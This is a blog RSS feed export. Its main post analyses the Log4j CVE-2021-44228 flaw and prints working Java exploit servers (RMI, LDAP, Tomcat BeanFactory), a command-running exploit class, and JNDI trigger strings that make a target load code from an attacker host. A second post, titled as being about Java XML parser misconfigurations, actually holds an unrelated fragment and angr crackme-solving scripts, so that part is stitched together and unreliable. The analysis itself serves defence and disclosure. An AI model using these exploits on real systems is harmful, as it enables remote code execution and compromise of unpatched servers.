{"rss":{"$":{"xmlns:atom":"http://www.w3.org/2005/Atom","xmlns:openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns:blogger":"http://schemas.google.com/blogger/2008","xmlns:georss":"http://www.georss.org/georss","xmlns:gd":"http://schemas.google.com/g/2005","xmlns:thr":"http://purl.org/syndication/thread/1.0","version":"2.0"},"channel":[{"atom:id":["tag:blogger.com,1999:blog-8402568535443417820"],"lastBuildDate":["Tue, 05 Mar 2024 06:51:48 +0000"],"category":["Exploitation"],"title":["Immunity Services"],"description":[""],"link":["http://immunityservices.blogspot.com/"],"managingEditor":["noreply@blogger.com (Unknown)"],"generator":["Blogger"],"openSearch:totalResults":["26"],"openSearch:startIndex":["1"],"openSearch:itemsPerPage":["25"],"item":[{"guid":[{"_":"tag:blogger.com,1999:blog-8402568535443417820.post-5346960331024591360","$":{"isPermaLink":"false"}}],"pubDate":["Fri, 17 Dec 2021 22:18:00 +0000"],"atom:updated":["2022-01-14T06:28:04.941-08:00"],"title":[" Log4J 2 Vulnerability Analysis (CVE-2021-44228)"],"description":["
Log4J 2 Vulnerability Analysis
Log4J 2 is an open-source logging library for Java, developed by the Apache Foundation, widely distributed in a vast number of applications and is prevalent throughout most organizations. A high severity vulnerability impacting Log4j 2 (2.0 to 2.14.1) was discovered by Zhaojun Chen of the Alibaba Cloud Security Team and was publicly disclosed on Dec. 9, 2021. CVE-2021-44228 was assigned to the issue with a CVSSv3 score of 10.0. Considering the library’s widespread adoption and how easily exploitable it is for attackers to control essentially everything, this vulnerability poses a significant and major threat to all affected systems.
We are focusing on Log4j 2 in this blog entry, although Log4j 1.x appears to be vulnerable as well, under specific circumstances (CVE-2021-4104).
Due to the high severity of the case, we are releasing for free the same information we are providing to our customers on Log4j 2. You can find code that you can use to test your infrastructure at: https://github.com/immunityinc/Log4j-JNDIServer
Vulnerability and exploitation analysis
JNDI injections have existed since 2015 (CVE-2015-4902) and were accurately described by Alvaro Muñoz and Oleksandr Mirosh at Black Hat USA 2016 (https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf).
RMI Attack Vector
The JNDI/RMI attack vector consists of injecting “rmi://attacker_IP:1389/SomeObject” to a vulnerable target, allowing it to connect to an attacker-controlled RMI server to trigger remote class loading.
RMI Primitive Example (JDK < 8u121)
RMI Server:
public static void rmi_server() {
try {
Registry registry = LocateRegistry.createRegistry(1389);
// Create a Properties object and set properties appropriately
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, \"com.sun.jndi.rmi.registry.RegistryContextFactory\");
props.put(Context.PROVIDER_URL, \"rmi://127.0.0.1:1389\");
// Create the initial context from the properties we just created
Context ctx = new InitialContext(props);
// Create JNDI Reference and set our evil remote factory class and remote location
// where the JVM can grab the class implementation
Reference reference = new Reference (\"ExploitClass\",
\"com.immunity.Exploit\",
\"http://127.0.0.1:8889/\");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// Bind the object to the RMI Registry
ctx.bind(\"Exploit\", wrapper);
System.out.println(\"reference bound!\");
} catch (Exception e) {
System.err.println(\"An exception occurred!\");
e.printStackTrace();
}
}
Exploit Class:
package com.immunity;
// This is the class that will work as our payload
// The compiled .class file needs to be served somewhere for the victim to fetch
import java.io.IOException;
public class Exploit {
public Exploit() {
try {
Runtime.getRuntime().exec(\"/usr/bin/gnome-calculator\");
} catch (IOException e) {
e.printStackTrace();
}
}
}
As mentioned in the example, you should be hosting Exploit.class somewhere for the victim to fetch; e.g., python –m http.server 8889.
From the target, to trigger the issue, you would need the following:
logger.error(\"${jndi:rmi://<ATTACKER_IP>:1389/Exploit}\");
Java 8 Update 121 (7u131 and 6u141)
The Java 8 update 121 added a system property that disables remote class loading via JNDI object factories by default. This update effectively killed the JNDI/RMI vector, although targets can still be vulnerable to the same vector if they specifically set “com.sun.jndi.rmi.object.trustURLCodebase” to \"true.\"
Furthermore, this JDK version does not fix other attack vectors such as LDAP (via ldap://) and CORBA (via iiop://, iiopname://, corbaname:iiop:). Let’s see how we can take advantage of that.
“LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can be represented in an LDAP directory: using Java serialization and using JNDI References ... The decoding of these Java objects during runtime execution by the Naming Manager will result in remote code execution.”. From \"A Journey From JNDI/LDAP Manipulation To RCE\" - page 20.
This time, we can develop our own LDAP server that “redirects” the target server to find and load an Evil Class and thus achieve Remote Code Execution.
LDAP Example (JDK 8u231)
LDAP Server: (Based on MarshallSec project)
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LdapServer {
public static void main(String[] args) throws Exception {
if(args.length == 0)
{
System.out.println(\"You need to setup the <ip>:<port>/#class\");
System.exit(0);
}
LdapServer.start(args[1]);
}
public static void start ( String evilclass) {
start(evilclass,null);
}
public static void start ( String evilclass, String ip) {
int port = 1389;
if (ip== null)
ip= \"0.0.0.0\";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(\"dc=test,dc=com\");
config.setListenerConfigs(new InMemoryListenerConfig(
\"listen\",
InetAddress.getByName(ip),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(evilclass)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println(\"Listening on \"+ ip+ \":\" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(\".class\"));
System.out.println(\"Reference \" + base + \" will be redirected to \" + turl);
e.addAttribute(\"javaClassName\", \"test\");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute(\"javaCodeBase\", cbstring);
e.addAttribute(\"objectClass\", \"javaNamingReference\");
e.addAttribute(\"javaFactory\", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Start the LDAP server with the following argument:
“http://<ATTACKER_IP>:8889/#Exploit\"”
At this point, all that remains is to host the Exploit class in the same way we did for the RMI vector.
As for the code triggering the vulnerability, specify with this LDAP protocol:
logger.error(\"${jndi:ldap://<ATTACKER_IP>:1389/foo}\");
JNDI/LDAP injections were fixed in JRE/JDK 11.0.1, 8u191, 7u201 and 6u211 in the same way the RMI vector was fixed. Similarly, this can still be exploited if the following System property is set to “true:”
“com.sun.jndi.ldap.object.trustURLCodebase”
Therefore, from JDK 11.0.1, 8u191, 7u201 and 6u211, both RMI and LDAP attack vectors were effectively prevented. For more recent JDK versions, there is still a way to exploit the vulnerability, but it highly depends on what ObjectFactory classes exist on the target classpath. Depending on that, we might be able to turn the JNDI attack vector (by leveraging ObjectFactories) in a deserialization attack.
Let’s consider the “BeanFactory” factory class from Apache Tomcat for our next deserialization case.
JNDI Deserialization Attack Vector
The \"org.apache.naming.factory.BeanFactory\" class within Apache Tomcat Server contains logic for bean creation by using reflection. Therefore, we can create an RMI server that “responds” with a deserialization payload (using the BeanFactory class) and if the target has Apache Tomcat, again we will achieve remote code execution.
Let's look at the following example, based on this blogpost:
public static void rmi_server_tomcat() {
try {
// You should add this property for remote exploitation, instead
// the RMI server only works in localhost.
System.setProperty(\"java.rmi.server.hostname\",\"<ATTACKER_IP>\");
System.out.println(\"Creating evil RMI registry on port 1389\");
Registry registry = LocateRegistry.createRegistry(1389);
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, \"com.sun.jndi.rmi.registry.RegistryContextFactory\");
props.put(Context.PROVIDER_URL, \"rmi://<ATTACKER_IP>:1389\");
// Create the initial context from the properties we just created
Context ctx = new InitialContext(props);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef(\"javax.el.ELProcessor\", null, \"\", \"\", true, \"org.apache.naming.factory.BeanFactory\", null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr(\"forceString\", \"x=eval\"));
//expression language to execute whatever you want in the target
ref.add(new StringRefAddr(\"x\", \"\\\"\\\".getClass().forName(\\\"javax.script.ScriptEngineManager\\\").newInstance().getEngineByName(\\\"JavaScript\\\").eval(\\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/gnome-calculator']).start()\\\")\"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
ctx.bind(\"Exploit\", referenceWrapper);
} catch (Exception e) {
System.err.println(\"An exception occurred!\");
e.printStackTrace();
}
}
In this case, we do not need to host the Evil class, as we did before. Our own RMI server responds with a serialized object of ‘org.apache.naming.ResourceRef’ with all crafted attributes to be triggered on the target. Of course, as mentioned before, this requires Apache Tomcat libraries in the target’s classpath.
Trigger code for deserialization:
logger.error(\"${jndi:rmi://<ATTACKER_IP>:1389/Exploit}\");
Note: For this PoC, we used JDK 11.0.5 on the target.
Finally, on the exploitation side, we found this interesting project (JNDI-Exploit-Kit). They create an RMI-LDAP server that will host a user-generated deserialization payload (e.g., generated with ysoserial).
This can be dangerous if someone creates an RMI server with all the available ysoserial payloads in their server and test them one by one until one works.
JRE/JDK | RMI Attack Vector | LDAP Attack Vector | Deserialization Attack Vector*(3) |
< 8u121, 7u131, 6u141 | X | X | X |
< 11.0.1, 8u191, 7u201 and 6u211 | *(1) | X | X |
>= 11.0.1, 8u191, 7u201 and 6u211 | *(1) | *(2) | X |
*(1) - Only if com.sun.jndi.rmi.object.trustURLCodebase=true
*(2) - Only if com.sun.jndi.ldap.object.trustURLCodebase=true
*(3) - Depends on the target classpath.
The Log4j vulnerability does not depend on the JDK version. All JDK versions are vulnerable because different attack vectors exist for JNDI. Everything depends on the packages in the target classpath (like a deserialization bug). We highly recommend to immediately patch Log4J 2 to 2.17.1. Log4J 2.15 original DoS vulnerability has been proven to be an actual remote code execution, one specifically under certain circumstances; CVE-2021-45046. Furthermore, the 2.16 version was shown to be also affected by a recently discovered DoS vulnerability; CVE-2021-45105 and version 2.17 to an arbitrary code execution when the attacker controls the configuration; CVE-2021-44832. In the event you cannot upgrade to 2.17.1, (though highly advisable!) you could try to disable the JndiLookup class as a temporary workaround.
As more information is released, reported and analyzed about Log4j, we will provide regular updates on our research.
Author: Anibal Irrera
References
· https://github.com/tangxiaofeng7/apache-log4j-poc
· https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
· https://www.java.com/en/download/help/release_changes.html
· https://www.oracle.com/java/technologies/javase/7-support-relnotes.html
· https://github.com/mbechler/marshalsec
· https://www.veracode.com/blog/research/exploiting-jndi-injections-java
· https://github.com/veracode-research/rogue-jndi
· https://github.com/pimps/JNDI-Exploit-Kit
· https://lists.apache.org/thread/83y7dx5xvn3h5290q1twn16tltolv88f
https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/
"],"link":["http://immunityservices.blogspot.com/2021/12/log4j-2-vulnerability-analysis-cve-2021.html"],"author":["noreply@blogger.com (Unknown)"],"thr:total":["0"],"georss:featurename":["Miami, FL, USA"],"georss:point":["25.7616798 -80.1917902"],"georss:box":["-27.982269547211803 -150.5042902 79.5056291472118 -9.8792902"],"text_description":" Log4J 2 Vulnerability Analysis\n\nIntroLog4J 2 is an open-source logging library for Java, developed by the Apache Foundation, widely distributed in a vast number of applications and is prevalent throughout most organizations. A high severity vulnerability impacting Log4j 2 (2.0 to 2.14.1) was discovered by Zhaojun Chen of the Alibaba Cloud Security Team and was publicly disclosed on Dec. 9, 2021. CVE-2021-44228 was assigned to the issue with a CVSSv3 score of 10.0. Considering the library’s widespread adoption and how easily exploitable it is for attackers to control essentially everything, this vulnerability poses a significant and major threat to all affected systems.We are focusing on Log4j 2 in this blog entry, although Log4j 1.x appears to be vulnerable as well, under specific circumstances (CVE-2021-4104).Due to the high severity of the case, we are releasing for free the same information we are providing to our customers on Log4j 2. You can find code that you can use to test your infrastructure at: https://github.com/immunityinc/Log4j-JNDIServer Vulnerability and exploitation analysisJNDI injections have existed since 2015 (CVE-2015-4902) and were accurately described by Alvaro Muñoz and Oleksandr Mirosh at Black Hat USA 2016 (https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf).RMI Attack VectorThe JNDI/RMI attack vector consists of injecting “rmi://attacker_IP:1389/SomeObject” to a vulnerable target, allowing it to connect to an attacker-controlled RMI server to trigger remote class loading. RMI Primitive Example (JDK < 8u121)RMI Server:public static void rmi_server() { try { Registry registry = LocateRegistry.createRegistry(1389); // Create a Properties object and set properties appropriately Properties props = new Properties(); props.put(Context.INITIAL_CONTEXT_FACTORY, \"com.sun.jndi.rmi.registry.RegistryContextFactory\"); props.put(Context.PROVIDER_URL, \"rmi://127.0.0.1:1389\"); // Create the initial context from the properties we just created Context ctx = new InitialContext(props); // Create JNDI Reference and set our evil remote factory class and remote location // where the JVM can grab the class implementation Reference reference = new Reference (\"ExploitClass\", \"com.immunity.Exploit\", \"http://127.0.0.1:8889/\"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); // Bind the object to the RMI Registry ctx.bind(\"Exploit\", wrapper); System.out.println(\"reference bound!\"); } catch (Exception e) { System.err.println(\"An exception occurred!\"); e.printStackTrace(); }}Exploit Class:package com.immunity;// This is the class that will work as our payload// The compiled .class file needs to be served somewhere for the victim to fetchimport java.io.IOException;public class Exploit { public Exploit() { try { Runtime.getRuntime().exec(\"/usr/bin/gnome-calculator\"); } catch (IOException e) { e.printStackTrace(); } }}As mentioned in the example, you should be hosting Exploit.class somewhere for the victim to fetch; e.g., python –m http.server 8889.From the target, to trigger the issue, you would need the following:logger.error(\"${jndi:rmi://<ATTACKER_IP>:1389/Exploit}\");Java 8 Update 121 (7u131 and 6u141)The Java 8 update 121 added a system property that disables remote class loading via JNDI object factories by default. This update effectively killed the JNDI/RMI vector, although targets can still be vulnerable to the same vector if they specifically set “com.sun.jndi.rmi.object.trustURLCodebase” to \"true.\"Furthermore, this JDK version does not fix other attack vectors such as LDAP (via ldap://) and CORBA (via iiop://, iiopname://, corbaname:iiop:). Let’s see how we can take advantage of that. The LDAP Attack Vector“LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can be represented in an LDAP directory: using Java serialization and using JNDI References ... The decoding of these Java objects during runtime execution by the Naming Manager will result in remote code execution.”. From \"A Journey From JNDI/LDAP Manipulation To RCE\" - page 20.This time, we can develop our own LDAP server that “redirects” the target server to find and load an Evil Class and thus achieve Remote Code Execution.LDAP Example (JDK 8u231)LDAP Server: (Based on MarshallSec project)import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;public class LdapServer { public static void main(String[] args) throws Exception { if(args.length == 0) { System.out.println(\"You need to setup the <ip>:<port>/#class\"); System.exit(0); } LdapServer.start(args[1]); } public static void start ( String evilclass) { start(evilclass,null); } public static void start ( String evilclass, String ip) { int port = 1389; if (ip== null) ip= \"0.0.0.0\"; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(\"dc=test,dc=com\"); config.setListenerConfigs(new InMemoryListenerConfig( \"listen\", InetAddress.getByName(ip), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(evilclass))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println(\"Listening on \"+ ip+ \":\" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(\".class\")); System.out.println(\"Reference \" + base + \" will be redirected to \" + turl); e.addAttribute(\"javaClassName\", \"test\"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute(\"javaCodeBase\", cbstring); e.addAttribute(\"objectClass\", \"javaNamingReference\"); e.addAttribute(\"javaFactory\", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } }}Start the LDAP server with the following argument:“http://<ATTACKER_IP>:8889/#Exploit\"”At this point, all that remains is to host the Exploit class in the same way we did for the RMI vector.As for the code triggering the vulnerability, specify with this LDAP protocol:logger.error(\"${jndi:ldap://<ATTACKER_IP>:1389/foo}\");JNDI/LDAP injections were fixed in JRE/JDK 11.0.1, 8u191, 7u201 and 6u211 in the same way the RMI vector was fixed. Similarly, this can still be exploited if the following System property is set to “true:”“com.sun.jndi.ldap.object.trustURLCodebase” Therefore, from JDK 11.0.1, 8u191, 7u201 and 6u211, both RMI and LDAP attack vectors were effectively prevented. For more recent JDK versions, there is still a way to exploit the vulnerability, but it highly depends on what ObjectFactory classes exist on the target classpath. Depending on that, we might be able to turn the JNDI attack vector (by leveraging ObjectFactories) in a deserialization attack.Let’s consider the “BeanFactory” factory class from Apache Tomcat for our next deserialization case.JNDI Deserialization Attack VectorThe \"org.apache.naming.factory.BeanFactory\" class within Apache Tomcat Server contains logic for bean creation by using reflection. Therefore, we can create an RMI server that “responds” with a deserialization payload (using the BeanFactory class) and if the target has Apache Tomcat, again we will achieve remote code execution.Let's look at the following example, based on this blogpost:public static void rmi_server_tomcat() { try { // You should add this property for remote exploitation, instead // the RMI server only works in localhost. System.setProperty(\"java.rmi.server.hostname\",\"<ATTACKER_IP>\"); System.out.println(\"Creating evil RMI registry on port 1389\"); Registry registry = LocateRegistry.createRegistry(1389); Properties props = new Properties(); props.put(Context.INITIAL_CONTEXT_FACTORY, \"com.sun.jndi.rmi.registry.RegistryContextFactory\"); props.put(Context.PROVIDER_URL, \"rmi://<ATTACKER_IP>:1389\"); // Create the initial context from the properties we just created Context ctx = new InitialContext(props); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef(\"javax.el.ELProcessor\", null, \"\", \"\", true, \"org.apache.naming.factory.BeanFactory\", null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr(\"forceString\", \"x=eval\")); //expression language to execute whatever you want in the target ref.add(new StringRefAddr(\"x\", \"\\\"\\\".getClass().forName(\\\"javax.script.ScriptEngineManager\\\").newInstance().getEngineByName(\\\"JavaScript\\\").eval(\\\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/gnome-calculator']).start()\\\")\")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); ctx.bind(\"Exploit\", referenceWrapper); } catch (Exception e) { System.err.println(\"An exception occurred!\"); e.printStackTrace(); }}In this case, we do not need to host the Evil class, as we did before. Our own RMI server responds with a serialized object of ‘org.apache.naming.ResourceRef’ with all crafted attributes to be triggered on the target. Of course, as mentioned before, this requires Apache Tomcat libraries in the target’s classpath.Trigger code for deserialization:logger.error(\"${jndi:rmi://<ATTACKER_IP>:1389/Exploit}\");Note: For this PoC, we used JDK 11.0.5 on the target.Finally, on the exploitation side, we found this interesting project (JNDI-Exploit-Kit). They create an RMI-LDAP server that will host a user-generated deserialization payload (e.g., generated with ysoserial).This can be dangerous if someone creates an RMI server with all the available ysoserial payloads in their server and test them one by one until one works.Attack Vectors SummaryJRE/JDKRMI Attack VectorLDAP Attack VectorDeserialization Attack Vector*(3)< 8u121, 7u131, 6u141XXX< 11.0.1, 8u191, 7u201 and 6u211*(1)XX>= 11.0.1, 8u191, 7u201 and 6u211*(1)*(2)X *(1) - Only if com.sun.jndi.rmi.object.trustURLCodebase=true*(2) - Only if com.sun.jndi.ldap.object.trustURLCodebase=true*(3) - Depends on the target classpath.RecommendationThe Log4j vulnerability does not depend on the JDK version. All JDK versions are vulnerable because different attack vectors exist for JNDI. Everything depends on the packages in the target classpath (like a deserialization bug). We highly recommend to immediately patch Log4J 2 to 2.17.1. Log4J 2.15 original DoS vulnerability has been proven to be an actual remote code execution, one specifically under certain circumstances; CVE-2021-45046. Furthermore, the 2.16 version was shown to be also affected by a recently discovered DoS vulnerability; CVE-2021-45105 and version 2.17 to an arbitrary code execution when the attacker controls the configuration; CVE-2021-44832. In the event you cannot upgrade to 2.17.1, (though highly advisable!) you could try to disable the JndiLookup class as a temporary workaround.Continue the Conversation As more information is released, reported and analyzed about Log4j, we will provide regular updates on our research.Author: Anibal IrreraReferences· https://github.com/tangxiaofeng7/apache-log4j-poc· https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/· https://www.java.com/en/download/help/release_changes.html· https://www.oracle.com/java/technologies/javase/7-support-relnotes.html· https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf· https://github.com/mbechler/marshalsec· https://www.veracode.com/blog/research/exploiting-jndi-injections-java· https://github.com/veracode-research/rogue-jndi· https://github.com/pimps/JNDI-Exploit-Kit· https://lists.apache.org/thread/83y7dx5xvn3h5290q1twn16tltolv88f https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/ "},{"guid":[{"_":"tag:blogger.com,1999:blog-8402568535443417820.post-2014726842323833318","$":{"isPermaLink":"false"}}],"pubDate":["Wed, 17 Feb 2021 16:27:00 +0000"],"atom:updated":["2021-02-17T09:38:39.139-08:00"],"category":[{"_":"Exploitation","$":{"domain":"http://www.blogger.com/atom/ns#"}}],"title":["Misconfigurations in Java XML Parsers "],"description":["Default value: The default value is implementation specific and therefore not specified. The following options are provided for consideration:
import angr\nimport sys\nimport simuvex\nimport struct\nfrom itertools import combinations, product\n\nWIN_HASH = \"C03922D0206DC3A33016010D6C66936E953ABAB9000010AE805CE8463CBE9A2D\".decode(\"hex\")\n\ndef do_nothing(state):\n pass\n\ndef do_repmovsd(state):\n # angr does not like rep movsd\n # we do it by hand\n buffer = state.memory.load(state.regs.esi, 8 * 4)\n state.memory.store(state.regs.edi, buffer)\n\ndef get_hash_map(init_addr):\n # Helper function to get each address were a byte of\n # of the calculated hash is going to be stored in the \n # proper order\n addr = init_addr\n hash_map = []\n for i in xrange(0, len(WIN_HASH), 2):\n pair = WIN_HASH[i:i+2]\n hash_map.append((addr, ord(pair[1])))\n hash_map.append((addr+1, ord(pair[0])))\n addr += 8 \n\n return hash_map\n\n\ndef main():\n proj = angr.Project('sokohashv2.0.exe', use_sim_procedures=True, load_options={\"auto_load_libs\": False})\n\n # ADDRS \n main = 0x401013 # The start of our path, just after the canary\n to_find = 0x0040123E # The end, just before the security check\n hash_addr = 0x04216C0 # The address were the output hash will be stored\n\n # HOOKS - We avoid any function call that does not alter\n # our result\n func_hooks = [0x0040102C, 0x0401033]\n for addr in func_hooks:\n proj.hook(addr, do_nothing, length=6) \n\n func_hooks = [0x401215, 0x40121E, 0x401239, 0x40123C]\n for addr in func_hooks:\n proj.hook(addr, do_nothing, length=2) \n\n # We need to hook the rep movsd because the symbolic execution\n # fails to resolve it. We model it by hand\n proj.hook(0x0401028, do_repmovsd, length=2)\n proj.hook(0x0401253, do_nothing, length=5) \n proj.hook(0x040103E, do_nothing, length=5) \n proj.hook(0x0401225, do_nothing, length=5) \n proj.hook(0x0401243, do_nothing, length=5) \n\n # initial state\n init = proj.factory.blank_state(addr=main)\n \n # we set some registers to get a context closer to real world\n init.regs.ebp = init.regs.esp + 0x78\n buffer = init.memory.load(init.regs.ebp + 0x8, 0x20)\n \n pg = proj.factory.path_group(init, threads=8)\n pg.explore(find=to_find)\n\n path = pg.found[0]\n\n found = path.state\n\n # We print the expected hash for verification\n conds = []\n expected = []\n hash_map = get_hash_map(hash_addr)\n for addr, value in hash_map: \n memory = found.memory.load(addr, 1, endness=proj.arch.memory_endness) \n\n # Here we declare that each byte in the output hash must be\n # part of the winning hash\n conds.append((memory == value))\n expected.append((hex(addr), hex(value)))\n print \"Expected is '%s'\\n\\n\" % expected\n\n found.add_constraints(init.se.And(*conds))\n\n # We print the resulting hash for verification\n result = []\n hash_map = get_hash_map(hash_addr)\n for addr, value in hash_map: \n buf_ptr = found.memory.load(addr, 1)\n possible = found.se.any_int(buf_ptr)\n result.append((hex(addr), \"0x%x\" % possible))\n print \"Result is '%s'\\n\\n\" % result\n\n # Print solutions\n possible = found.se.any_n_int(buffer, 1) # We ask for the first solution\n for i, f in enumerate(possible):\n out = \"%x\" % f\n if len(out) < (0x20*2):\n continue\n\n names = [\"x\",\"y\",\"z\",\"w\"]\n values = []\n for j in xrange(0, len(out), 16):\n value = out[j:j+16]\n unpk_value = struct.unpack(\"<Q\", value.decode(\"hex\"))[0]\n\n values.append((names[j//16], \"%.16x\" % unpk_value))\n print \"\\tSolution %d: %s\" % (i, values)\n\n\nif __name__ == '__main__':\n #angr.path_group.l.setLevel('DEBUG')\n main()\n
def get_valid_coords():\n var = \"\"\"# #\n# O #\n# x #\n# w #\n# * #\n# ## #### ###### ### #\n## # ## ## ## ## ## #\n## ## ## ## ## ## #\n## ## ## ##### #### #\n## ## ## ## ## ## #\n## # ## ## ## ## ## #\n# ## #### ## ## ### #\n# #\n# #\n# yz #\n# O #\n/ #\n# #\n\"\"\"\n\n valid = []\n invalid = (list(product(range(7,12),[9,10])) +\n list(product([7,8],[17,18])) )\n\n x = 1\n for line in var.splitlines():\n line = line.strip()\n line = line[1:len(line)-1]\n y = 1\n for i in line:\n if i not in [\"O\", \"#\", \"/\"]:\n if (x,y) not in invalid:\n valid.append((x,y))\n y += 1\n x += 1 \n\n return valid\n
def do_memset(state):\n addr = 0x417490\n with open(\"matrix.bin\",\"rb\") as f:\n content = f.read()\n for i in content: \n state.memory.store(addr, state.se.BVV(ord(i), 8 * 1))\n addr += 1\n\n start_off = 0x41d450 - addr\n end_off = 0x41e0c8 - addr\n coords = []\n for i in xrange(start_off, end_off+8, 8): \n coords.append(struct.unpack(\"<Q\", content[i:i+8])[0])\n\n return coords\n
coords = do_memset(init)\n coord_dict = {}\n count = 0\n for i in get_valid_coords():\n #print \"%s = %.16x\" % (i, pos[count])\n coord_dict[coords[count]] = i\n count += 1\n
# search only for possible coords\n variables = []\n for i in xrange(0, 4):\n var = init.memory.load(init.regs.ebp + 0x8 + (0x8*i), 0x8, endness=proj.arch.memory_endness) \n variables.append(var)\n conds = []\n for p in coords:\n conds.append(p == var)\n init.add_constraints(init.se.Or(*conds))\n\n # each coordinate must be distinct\n for v1,v2 in combinations(variables, 2):\n init.add_constraints(v1 != v2)\n
